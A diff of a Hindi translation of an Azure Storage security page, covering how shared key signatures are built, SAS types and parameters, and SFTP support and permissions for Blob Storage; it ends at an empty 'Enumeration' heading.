> ध्यान दें कि `CanonicalizedResource` हिस्सा storage services resource (URI) का प्रतिनिधित्व करता है। और यदि URL में कोई भाग encoded है, तो उसे `CanonicalizedResource` के अंदर भी encode किया जाना चाहिए।
|
||||
|
||||
> [!NOTE]
|
||||
> यह **used by default by `az` cli** अनुरोधों को authenticate करने के लिए उपयोग किया जाता है। इसे Entra ID principal credentials का उपयोग करने के लिए बताने हेतु param `--auth-mode login` निर्दिष्ट करें।
|
||||
> यह **used by default by `az` cli** है requests को authenticate करने के लिए। इसे Entra ID principal credentials का उपयोग करने के लिए, param `--auth-mode login` निर्दिष्ट करें।
|
||||
|
||||
- यह संभव है कि निम्न जानकारी पर हस्ताक्षर करके एक **shared key for blob, queue and file services** जनरेट किया जा सके:
|
||||
- यह संभव है कि blob, queue और file services के लिए **shared key** generate किया जाए, निम्नलिखित जानकारी को sign करके:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-Encoding + "\n" +
|
||||
@@ -143,7 +143,7 @@ Range + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
- यह संभव है कि निम्नलिखित जानकारी पर हस्ताक्षर करते हुए **shared key for table services** बनाया जा सके:
|
||||
- निम्नलिखित जानकारी पर हस्ताक्षर करके **shared key for table services** जनरेट करना संभव है:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
@@ -151,7 +151,7 @@ Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
- निम्नलिखित जानकारी साइन करके **lite shared key for blob, queue and file services** जनरेट करना संभव है:
|
||||
- निम्नलिखित जानकारी पर साइन करके **lite shared key for blob, queue and file services** जनरेट करना संभव है:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
@@ -160,12 +160,12 @@ Date + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
- निम्नलिखित जानकारी पर साइन करके **lite shared key for table services** जनरेट करना संभव है:
|
||||
- यह निम्नलिखित जानकारी पर साइन करके **lite shared key for table services** बनाना संभव है:
|
||||
```bash
|
||||
StringToSign = Date + "\n"
|
||||
CanonicalizedResource
|
||||
```
|
||||
फिर, key का उपयोग करने के लिए, इसे Authorization header में निम्नलिखित syntax का पालन करते हुए किया जा सकता है:
|
||||
फिर, कुंजी का उपयोग Authorization header में निम्नलिखित सिंटैक्स के अनुसार किया जा सकता है:
|
||||
```bash
|
||||
Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
|
||||
#e.g.
|
||||
@@ -177,16 +177,16 @@ x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT
|
||||
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
|
||||
Content-Length: 0
|
||||
```
|
||||
### **शेयर्ड एक्सेस सिग्नेचर** (SAS)
|
||||
### **साझा एक्सेस सिग्नेचर** (SAS)
|
||||
|
||||
Shared Access Signatures (SAS) सुरक्षित, समय-सीमित URLs हैं जो किसी Azure Storage अकाउंट के संसाधनों तक पहुँच के लिए विशिष्ट permissions प्रदान करते हैं बिना अकाउंट के access keys को उजागर किए। जहाँ access keys सभी resources पर पूर्ण प्रशासनिक पहुँच देती हैं, वहीं SAS permissions (जैसे read या write) निर्दिष्ट करके और समाप्ति समय निर्धारित करके सूक्ष्म नियंत्रण देता है।
|
||||
Shared Access Signatures (SAS) सुरक्षित, समय-सीमित URLs हैं जो Azure Storage अकाउंट में resources तक पहुँचने के लिए specific permissions देती हैं बिना अकाउंट के access keys को उजागर किए। जबकि access keys सभी resources के लिए पूर्ण administrative access देती हैं, SAS granular control देती है — permissions (जैसे read या write) निर्दिष्ट करके और expiration time निर्धारित करके।
|
||||
|
||||
#### SAS प्रकार
|
||||
#### SAS Types
|
||||
|
||||
- **User delegation SAS**: यह एक **Entra ID principal** से बनाया जाता है जो SAS पर साइन करेगा और उपयोगकर्ता से SAS को permissions delegate करेगा। इसे केवल **blob and data lake storage** के साथ उपयोग किया जा सकता है ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). सभी जनरेट किए गए user delegated SAS को **revoke** करना संभव है।
|
||||
- यह संभव है कि delegation SAS ऐसे "अधिक" permissions के साथ जनरेट किया जाए जो उपयोगकर्ता के पास न हों। हालांकि, यदि principal के पास वे permissions नहीं हैं, तो यह काम नहीं करेगा (no privesc)।
|
||||
- **Service SAS**: इसे storage account के किसी **access key** का उपयोग करके साइन किया जाता है। इसे एक ही storage service के विशिष्ट resources तक पहुँच देने के लिए उपयोग किया जा सकता है। यदि key को renew किया जाता है, तो SAS काम करना बंद कर देगा।
|
||||
- **Account SAS**: इसे भी storage account के किसी **access key** से साइन किया जाता है। यह storage account की services (Blob, Queue, Table, File) में फैले resources तक पहुँच देता है और service-level operations शामिल कर सकता है।
|
||||
- **User delegation SAS**: इसे एक **Entra ID principal** से बनाया जाता है जो SAS पर साइन करेगा और उपयोगकर्ता से SAS को permissions delegate करेगा। इसे केवल **blob and data lake storage** के साथ उपयोग किया जा सकता है ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). सभी जनरेट किए गए user delegated SAS को **revoke** करना संभव है।
|
||||
- यह संभव है कि delegation SAS को उपयोगकर्ता के पास मौजूद permissions से "अधिक" permissions के साथ जनरेट किया जाए। हालांकि, अगर principal के पास वे permissions नहीं हैं, तो यह काम नहीं करेगा (no privesc).
|
||||
- **Service SAS**: यह storage account के किसी एक **access key** का उपयोग करके साइन किया जाता है। इसे single storage service के specific resources के लिए access देने में उपयोग किया जा सकता है। यदि key को renew किया जाता है, तो SAS काम करना बंद कर देगा।
|
||||
- **Account SAS**: यह भी storage account के किसी एक **access key** के साथ साइन होता है। यह storage account services (Blob, Queue, Table, File) में across resources तक access प्रदान करता है और service-level operations शामिल कर सकता है।
|
||||
|
||||
A SAS URL signed by an **access key** looks like this:
|
||||
|
||||
@@ -198,49 +198,49 @@ A SAS URL signed as a **user delegation** looks like this:
|
||||
|
||||
Note some **http params**:
|
||||
|
||||
- The **`se`** param indicates the **expiration date** of the SAS
|
||||
- The **`sp`** param indicates the **permissions** of the SAS
|
||||
- The **`sig`** is the **signature** validating the SAS
|
||||
- **`se`** पैरामीटर SAS की **समाप्ति तिथि** दर्शाता है।
|
||||
- **`sp`** पैरामीटर SAS की **अनुमतियाँ** दर्शाता है।
|
||||
- **`sig`** SAS को मान्य करने वाला **signature** है।
|
||||
|
||||
#### SAS permissions
|
||||
|
||||
SAS जनरेट करते समय यह बताना आवश्यक होता है कि यह किन permissions को प्रदान करेगा। जिस object पर SAS जनरेट किया जा रहा है उसके आधार पर अलग-अलग permissions शामिल किए जा सकते हैं। उदाहरण के लिए:
|
||||
जब SAS जनरेट किया जा रहा होता है, तो यह निर्दिष्ट करना आवश्यक होता है कि इसे कौन‑सी permissions देनी चाहिए। जिस object पर SAS जनरेट किया जा रहा है उसके अनुसार अलग‑अलग permissions शामिल हो सकती हैं। उदाहरण के लिए:
|
||||
|
||||
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
|
||||
|
||||
## Azure Blob Storage के लिए SFTP सपोर्ट
|
||||
## SFTP Support for Azure Blob Storage
|
||||
|
||||
Azure Blob Storage अब SSH File Transfer Protocol (SFTP) का समर्थन करता है, जिससे custom solutions या third-party products की आवश्यकता के बिना सीधे Blob Storage पर सुरक्षित फ़ाइल ट्रांसफ़र और प्रबंधन संभव होता है।
|
||||
Azure Blob Storage अब SSH File Transfer Protocol (SFTP) को सपोर्ट करता है, जो Blob Storage पर सीधे secure file transfer और management को सक्षम बनाता है बिना custom solutions या third-party products की आवश्यकता के।
|
||||
|
||||
### मुख्य विशेषताएँ
|
||||
### Key Features
|
||||
|
||||
- प्रोटोकॉल समर्थन: SFTP उन Blob Storage accounts के साथ काम करता है जो hierarchical namespace (HNS) के साथ configured हैं। यह blobs को directories और subdirectories में व्यवस्थित करता है जिससे नेविगेशन आसान होता है।
|
||||
- सुरक्षा: SFTP authentication के लिए local user identities का उपयोग करता है और यह RBAC या ABAC के साथ integrate नहीं होता। प्रत्येक local user निम्नलिखित तरीकों से authenticate कर सकता है:
|
||||
- Azure-generated passwords
|
||||
- Public-private SSH key pairs
|
||||
- सूक्ष्म अनुमतियाँ: Read, Write, Delete और List जैसी permissions local users को अधिकतम 100 containers तक असाइन की जा सकती हैं।
|
||||
- नेटवर्किंग विचार: SFTP कनेक्शन पोर्ट 22 के माध्यम से होते हैं। Azure firewalls, private endpoints, या virtual networks जैसी network configurations को SFTP ट्रैफ़िक की सुरक्षा के लिए सपोर्ट करता है।
|
||||
- Protocol Support: SFTP उन Blob Storage accounts के साथ काम करता है जिनमें hierarchical namespace (HNS) कॉन्फ़िगर किया गया है। यह blobs को directories और subdirectories में व्यवस्थित करता है ताकि navigation आसान हो।
|
||||
- Security: SFTP local user identities का उपयोग authentication के लिए करता है और RBAC या ABAC के साथ एकीकृत नहीं होता। प्रत्येक local user निम्न तरीकों से authenticate कर सकता है:
|
||||
- Azure-generated passwords
|
||||
- Public-private SSH key pairs
|
||||
- Granular Permissions: Read, Write, Delete, और List जैसी permissions local users को 100 containers तक असाइन की जा सकती हैं।
|
||||
- Networking Considerations: SFTP connections port 22 के माध्यम से बनाई जाती हैं। Azure ऐसे नेटवर्क कॉन्फ़िगरेशन्स (firewalls, private endpoints, या virtual networks) को सपोर्ट करता है ताकि SFTP ट्रैफ़िक सुरक्षित रहे।
|
||||
|
||||
### सेटअप आवश्यकताएँ
|
||||
### Setup Requirements
|
||||
|
||||
- Hierarchical Namespace: HNS को storage account बनाते समय सक्षम किया जाना चाहिए।
|
||||
- Supported Encryption: Microsoft Security Development Lifecycle (SDL)-approved क्रिप्टोग्राफिक algorithms की आवश्यकता होती है (जैसे rsa-sha2-256, ecdsa-sha2-nistp256)।
|
||||
- Supported Encryption: इसके लिए Microsoft Security Development Lifecycle (SDL)-approved cryptographic algorithms (उदा., rsa-sha2-256, ecdsa-sha2-nistp256) की आवश्यकता होती है।
|
||||
- SFTP Configuration:
|
||||
- Enable SFTP on the storage account.
|
||||
- Create local user identities with appropriate permissions.
|
||||
- Configure home directories for users to define their starting location within the container.
|
||||
- storage account पर SFTP को सक्षम करें।
|
||||
- उपयुक्त permissions के साथ local user identities बनाएं।
|
||||
- उपयोगकर्ताओं के लिए home directories कॉन्फ़िगर करें ताकि container के अंदर उनकी starting location निर्धारित हो सके।
|
||||
|
||||
### Permissions
|
||||
|
||||
| Permission | Symbol | Description |
|
||||
| अनुमति | प्रतीक | विवरण |
|
||||
| ---------------------- | ------ | ------------------------------------ |
|
||||
| **Read** | `r` | Read file content. |
|
||||
| **Write** | `w` | Upload files and create directories. |
|
||||
| **List** | `l` | List contents of directories. |
|
||||
| **Delete** | `d` | Delete files or directories. |
|
||||
| **Create** | `c` | Create files or directories. |
|
||||
| **Modify Ownership** | `o` | Change the owning user or group. |
|
||||
| **Modify Permissions** | `p` | Change ACLs on files or directories. |
|
||||
| **Read** | `r` | फाइल की सामग्री पढ़ें। |
|
||||
| **Write** | `w` | फाइलें अपलोड करें और directories बनाएं। |
|
||||
| **List** | `l` | directories की सामग्री सूचीबद्ध करें। |
|
||||
| **Delete** | `d` | फाइलें या directories हटाएँ। |
|
||||
| **Create** | `c` | फाइलें या directories बनाएं। |
|
||||
| **Modify Ownership** | `o` | मालिक यूज़र या समूह बदलें। |
|
||||
| **Modify Permissions** | `p` | फाइलों या directories पर ACLs बदलें। |
|
||||
|
||||
## Enumeration
|
||||
|
||||
|
||||
Reference in New Issue
Block a user